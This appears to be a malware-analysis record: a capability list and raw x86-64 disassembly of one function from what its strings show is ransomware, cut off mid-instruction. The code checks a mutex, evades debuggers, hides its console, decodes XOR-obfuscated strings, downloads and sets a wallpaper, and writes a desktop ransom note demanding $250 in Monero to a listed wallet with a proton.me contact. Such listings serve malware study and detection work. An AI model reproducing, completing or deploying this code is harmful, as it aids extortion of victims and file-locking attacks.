Function at 0x14004e020
Capabilities:
Access peb ldr_data
Authenticate hmac
Change the wallpaper
Check for debugger via api
Check mutex on windows
Create thread
Encode data using base64
Encode data using xor
Get common file path
Get ntdll base address

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xc28]
sub rsp, 0xd00
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x1400d4460]
xor rax, rsp
mov qword [rbp + 0xbc0], rax
mov qword [rbp + 0x150], rdx
mov dword [rbp + 0x148], ecx
xor r13d, r13d
movups xmm0, xmmword [str.zX_XVg]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [str.3.0e_]
movups xmmword [rbp + 0x20], xmm1
movzx eax, byte [0x1400c2448]
mov byte [rbp + 0x30], al
mov edi, r13d
lea eax, [r13 + 4]
lea ecx, [rax + 0x1b]
mov r14d, dword [0x1400d4468]
cmp r14d, 2
jl 0x14004e1f2
movdqa xmm5, xmmword [0x1400c3430]
movdqa xmm4, xmmword [0x1400c3510]
movd xmm6, eax
movdqa xmm7, xmmword [0x1400c3460]
movd xmm8, ecx
movdqa xmm0, xmmword [0x1400c34f0]
movdqa xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0x10]
mov edx, dword [rbp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x20
jl 0x14004e0f0
cmp edi, 0x21
jge 0x14004e22d
movsxd rax, edi
lea r8, [rbp + 0x10]
add r8, rax
nop dword [rax]
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
sub al, cl
add al, 0x36
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x21
jl 0x14004e200
lea r8, [rbp + 0x10]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140052cb0
movups xmm0, xmmword [str.https:__ia600205.us.archive.org_13_items_wallpaper_202402_wallpaper.png]
movups xmmword [rbp + 0x710], xmm0
movups xmm1, xmmword [0x1400c1ef0]
movups xmmword [rbp + 0x720], xmm1
movups xmm0, xmmword [0x1400c1f00]
movups xmmword [rbp + 0x730], xmm0
movups xmm1, xmmword [0x1400c1f10]
movups xmmword [rbp + 0x740], xmm1
movups xmm0, xmmword [0x1400c1f20]
movups xmmword [rbp + 0x750], xmm0
movups xmm1, xmmword [0x1400c1f30]
movups xmmword [rbp + 0x760], xmm1
movups xmm0, xmmword [0x1400c1f40]
movups xmmword [rbp + 0x770], xmm0
movups xmm1, xmmword [0x1400c1f50]
movups xmmword [rbp + 0x780], xmm1
movups xmm0, xmmword [0x1400c1f60]
movups xmmword [rbp + 0x790], xmm0
lea rdx, [rbp + 0x9b0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r8, [rbp + 0x9b0]
mov edx, 0x104
lea rcx, [rbp + 0x7a0]
call fcn.140089130
lea r8, str.downloaded_wallpaper.png
mov edx, 0x104
lea rcx, [rbp + 0x7a0]
call fcn.140089198
lea rdx, [rbp + 0x7a0]
lea rcx, [rbp + 0x710]
call fcn.14004ddb0
test al, al
jne 0x14004e33b
lea rdx, str.Failed_to_download_wallpaper.
lea rcx, [0x1400d9580]
call fcn.140054e80
jmp 0x140052c58
mov r9d, 3
lea r8, [rbp + 0x7a0]
xor edx, edx
lea ecx, [rdx + 0x14]
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
test eax, eax
je 0x140052c33
lea rdx, str.Wallpaper_changed_successfully_to
lea rcx, [0x1400d9330]
call fcn.140054e80
mov rcx, rax
lea rdx, [rbp + 0x7a0]
call fcn.140054e80
mov rcx, rax
call fcn.140055140
lea rax, [rbp + 0x3b0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov rbx, 0xffffffffffffffff
xorps xmm0, xmm0
mov qword [rbp + 0x2d8], r13
mov qword [rbp + 0x2e0], r13
movups xmmword [rbp + 0x2c8], xmm0
test eax, eax
js 0x14004e3e2
lea rax, [rbp + 0x3b0]
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], r13b
jne 0x14004e3d0
lea rdx, [rbp + 0x3b0]
jmp 0x14004e3ec
xor r8d, r8d
lea rdx, [0x1400c0993]
lea rcx, [rbp + 0x2c8]
call fcn.14003d220
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x288], xmm0
mov qword [rbp + 0x298], r13
mov qword [rbp + 0x2a0], r13
mov r8d, 0x1d1
lea rdx, str.Oops__You_ran_my_ransomware__nStarting_now_you_only_have_72_hours_to_pay_nPay__250_in_XMR_to_the_wallet_below_n47eVz7jFT6ugPbMZTQFRJkSg3WySj3vU2gS8ufwcmcrnXmx6LSk3gDMe4yNqJchGm12X7ByRcryrv1NgRPJey5SNMZLk3jY_n_nto_get_XMR_through_USD_n_nhttps:__www.youtube.com_watch_vPyOZmTd8Euo_nhow_to_buy_underage_nhttps:__www.youtube.com_watch_vfIwIo3u7Dgg_n_nOnce_you_pay_the__250_email_rflxwaresupport_proton.me_with_proof_of_payment_and_you_will_recieve_the_decryptor__decryption_key
lea rcx, [rbp + 0x288]
call fcn.14003d220
nop
mov rcx, qword [rbp + 0x2d8]
test rcx, rcx
je 0x140052b7e
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0xb
jb 0x140052cb8
lea r9, [rbp + 0x2c8]
cmp qword [rbp + 0x2e0], 0x10
cmovae r9, qword [rbp + 0x2c8]
mov qword [rsp + 0x30], 0xb
lea rax, str._readme.txt
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x2c8]
movzx edx, byte [rbp + 0x208]
lea rcx, [rbp + 0x210]
call fcn.14003d870
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x3b0]
call fcn.140075e00
lea rdx, [rbp + 0x210]
cmp qword [rbp + 0x228], 0x10
cmovae rdx, qword [rbp + 0x210]
mov edi, 2
mov r8d, edi
lea rcx, [rbp + 0x3b0]
call fcn.140046dd0
mov rax, qword [rbp + 0x3b0]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x3b0], r15
mov rax, qword [rbp + 0x3b0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x3ac], edx
cmp qword [rbp + 0x438], 0
je 0x1400529e4
lea rdx, [rbp + 0x288]
cmp qword [rbp + 0x2a0], 0x10
cmovae rdx, qword [rbp + 0x288]
mov r8, qword [rbp + 0x298]
lea rcx, [rbp + 0x3b0]
call fcn.14004c5f0
mov rcx, rax
call fcn.14004ba50
lea rcx, [rbp + 0x3b8]
call fcn.140047190
lea esi, [rdi + 4]
test rax, rax
jne 0x14004e59a
mov rax, qword [rbp + 0x3b0]
movsxd rcx, dword [rax + 4]
mov eax, esi
cmp qword [rbp + rcx + 0x3f8], 0
cmovne eax, edi
or eax, dword [rbp + rcx + 0x3c0]
and eax, 0x17
mov dword [rbp + rcx + 0x3c0], eax
and eax, dword [rbp + rcx + 0x3c4]
jne 0x140052cbe
lea rdx, str.File_created_successfully_on_the_desktop_with_specified_content.
lea rcx, [0x1400d9210]
call fcn.14004b7a0
mov rcx, rax
call fcn.14004ba50
nop
mov rax, qword [rbp + 0x3b0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x3b0], r15
mov rax, qword [rbp + 0x3b0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x3ac], edx
lea rcx, [rbp + 0x3b8]
call fcn.140046130
mov rax, qword [rbp + 0x3b0]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x3b0], r12
mov rax, qword [rbp + 0x3b0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x3ac], edx
lea r15, vtable.std::ios_base.0
mov qword [rbp + 0x458], r15
lea rcx, [rbp + 0x458]
call fcn.14007077c
nop
mov rdx, qword [rbp + 0x228]
cmp rdx, 0x10
jb 0x14004e678
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e673
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052ea5
call fcn.1400735b8
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x140052e9d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
test eax, eax
jne 0x140052e9d
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x1400c0968]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x200], rax
lea r8, [rbp + 0x200]
lea rdx, [fcn.1400393c0]
mov rcx, rax
call fcn.14006e3d0
mov rcx, qword [rbp + 0x200]
call fcn.14006e660
mov dword [rbp + 0x208], 1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r9d, 4
lea r8, [rbp + 0x208]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapSetInformation]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp + 0x120]
call fcn.140055ef0
mov rdi, qword [rax]
mov qword [rax], r13
mov qword [rbp + 0x208], rdi
lea rcx, [rbp + 0x120]
call fcn.140055ed0
lea rax, [rbp + 0x388]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r13d
mov r9, rdi
lea r8, [0x140055f20]
xor edx, edx
xor ecx, ecx
call fcn.140083464
mov qword [rbp + 0x380], rax
test rax, rax
je 0x140052e8e
mov qword [rbp + 0x208], r13
lea rcx, [rbp + 0x208]
call fcn.140055ed0
nop
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
add eax, 0x100000
mov dword [rdx + 0x40], eax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x390], xmm0
mov qword [rbp + 0x3a0], rax
lea rcx, [rbp + 0x390]
call fcn.140041400
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x328], xmm0
mov qword [rbp + 0x338], rax
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x328]
call fcn.140041920
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x4c0]
call fcn.140075e00
movups xmm0, xmmword [str.u_rdnSUXRIL]
movups xmmword [rbp - 0x40], xmm0
movsd xmm0, qword [0x1400c23d8]
movsd qword [rbp - 0x30], xmm0
movzx eax, word [0x1400c23e0]
mov word [rbp - 0x28], ax
movzx eax, byte [0x1400c23e2]
mov byte [rbp - 0x26], al
mov edi, r13d
cmp r14d, 2
jl 0x14004e982
movdqa xmm5, xmmword [0x1400c3430]
movdqa xmm4, xmmword [0x1400c3510]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1400c3460]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x1400c34f0]
movdqa xmmword [rbp + 0x50], xmm0
lea rcx, [rbp - 0x40]
mov edx, dword [rbp + 0x50]
nop dword [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x18
jl 0x14004e880
cmp edi, 0x1b
jge 0x14004e9bd
movsxd rax, edi
lea r8, [rbp - 0x40]
add r8, rax
nop dword [rax]
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
sub al, cl
add al, 0x36
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x1b
jl 0x14004e990
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], r13
lea rax, [rbp - 0x40]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004e9e0
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x210]
call fcn.14003d220
nop
lea rdx, [rbp + 0x210]
cmp qword [rbp + 0x228], 0x10
cmovae rdx, qword [rbp + 0x210]
mov r8d, 2
lea rcx, [rbp + 0x4c0]
call fcn.140046dd0
mov rax, qword [rbp + 0x4c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x4c0], rax
mov rax, qword [rbp + 0x4c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x4bc], edx
mov rdx, qword [rbp + 0x228]
cmp rdx, 0x10
jb 0x14004ea97
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ea92
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052d10
call fcn.1400735b8
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], 0xf
mov byte [rbp + 0x210], 0
movups xmm0, xmmword [str.b_QJ]
movups xmmword [rbp - 0x40], xmm0
movsd xmm0, qword [0x1400c2df8]
movsd qword [rbp - 0x30], xmm0
mov eax, dword [0x1400c2e00]
mov dword [rbp - 0x28], eax
mov edi, r13d
cmp r14d, 2
jl 0x14004ec22
movdqa xmm5, xmmword [0x1400c3430]
movdqa xmm4, xmmword [0x1400c3510]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1400c3460]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x1400c34f0]
movdqa xmmword [rbp + 0x50], xmm0
lea rcx, [rbp - 0x40]
mov edx, dword [rbp + 0x50]
nop dword [rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x18
jl 0x14004eb20
cmp edi, 0x1c
jge 0x14004ec5d
movsxd rax, edi
lea r8, [rbp - 0x40]
add r8, rax
nop dword [rax]
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
sub al, cl
add al, 0x36
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x1c
jl 0x14004ec30
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
lea rax, [rbp - 0x40]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14004ec76
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.14003d220
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
lea rcx, [rbp + 0x4c0]
call fcn.14004c5f0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14004ecef
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ecea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052d16
call fcn.1400735b8
lea rcx, [rbp + 0x4c8]
call fcn.140047190
test rax, rax
jne 0x14004ed3a
mov rax, qword [rbp + 0x4c0]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0x508], 0
mov eax, 2
cmovne esi, eax
or esi, dword [rbp + rcx + 0x4d0]
and esi, 0x17
mov dword [rbp + rcx + 0x4d0], esi
and esi, dword [rbp + rcx + 0x4d4]
jne 0x140052d1c
movups xmm0, xmmword [str.u_rdnSUXRIL]
movups xmmword [rbp - 0x40], xmm0
movsd xmm0, qword [0x1400c23d8]
movsd qword [rbp - 0x30], xmm0
movzx eax, word [0x1400c23e0]
mov word [rbp - 0x28], ax
movzx eax, byte [0x1400c23e2]
mov byte [rbp - 0x26], al
mov edi, r13d
mov esi, 4
cmp r14d, 2
jl 0x14004eeb5
movdqa xmm5, xmmword [0x1400c3430]
movdqa xmm4, xmmword [0x1400c3510]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400c3460]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x1400c34f0]
movdqa xmmword [rbp + 0x50], xmm0
lea rcx, [rbp - 0x40]
mov edx, dword [rbp + 0x50]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x18
jl 0x14004edb3
cmp edi, 0x1b
jge 0x14004eeed
movsxd rax, edi
lea r8, [rbp - 0x40]
add r8, rax
nop
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
sub al, cl
add al, 0x36
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x1b
jl 0x14004eec0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
lea rax, [rbp - 0x40]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14004ef06
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.14003d220
nop
mov rdx, qword [rbp + 0x330]
cmp rdx, qword [rbp + 0x338]
je 0x14004ef54
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rdx + 0x10], xmm1
mov edx, 0xf
mov byte [rsp + 0x40], 0
add qword [rbp + 0x330], 0x20
jmp 0x14004ef6a
lea r8, [rsp + 0x40]
lea rcx, [rbp + 0x328]
call fcn.1400497e0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14004efa2
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ef9d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052d71
call fcn.1400735b8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x280], rax
lea rdx, [rbp + 0x328]
lea rcx, [rbp + 0x270]
call fcn.14004a740
nop
lea rax, [0x14003fbc0]
mov qword [rsp + 0x20], rax
lea r9, [0x14004dda0]
mov edx, 0x10
lea r8d, [rdx + 4]
lea rcx, [rbp + 0x5d0]
call fcn.140073854
nop
lea rax, [rsp + 0x40]
mov qword [rbp + 0x120], rax
lea rax, [rbp + 0x128]
mov qword [rbp + 0x208], rax
movsd xmm0, qword [0x1400c2588]
movsd qword [rbp], xmm0
mov eax, dword [0x1400c2590]
mov dword [rbp + 8], eax
mov edi, r13d
cmp r14d, 2
jl 0x14004f13a
movdqa xmm4, xmmword [0x1400c3510]
movd xmm6, esi
mov eax, 0x1f
movd xmm5, eax
movdqa xmm2, xmmword [0x1400c3430]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400c3460]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
mov eax, dword [0x1400c34f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400c2588]
pxor xmm2, xmm0
movd dword [rbp], xmm2
movdqa xmm3, xmmword [0x1400c3440]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400c3460]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 4]
pxor xmm2, xmm1
movd dword [rbp + 4], xmm2
mov edi, 8
movsxd rax, edi
lea r8, [rbp]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
sub al, cl
add al, 0x36
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0xc
jl 0x14004f150
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
lea rax, [rbp]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14004f196
lea rdx, [rbp]
lea rcx, [rsp + 0x40]
call fcn.14003d220
nop
mov edx, 0x20
lea rcx, [rbp + 0x128]
call fcn.14003e000
mov rsi, rax
movups xmm0, xmmword [0x1400c2350]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [0x1400c2360]
movups xmmword [rbp + 0x80], xmm1
movzx ecx, byte [0x1400c2370]
mov byte [rbp + 0x90], cl
mov edi, r13d
cmp r14d, 2
jl 0x14004f342
movdqa xmm5, xmmword [0x1400c3430]
movdqa xmm4, xmmword [0x1400c3510]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1400c3460]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x1400c34f0]
movdqa xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0x70]
mov edx, dword [rbp + 0x50]
nop word [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
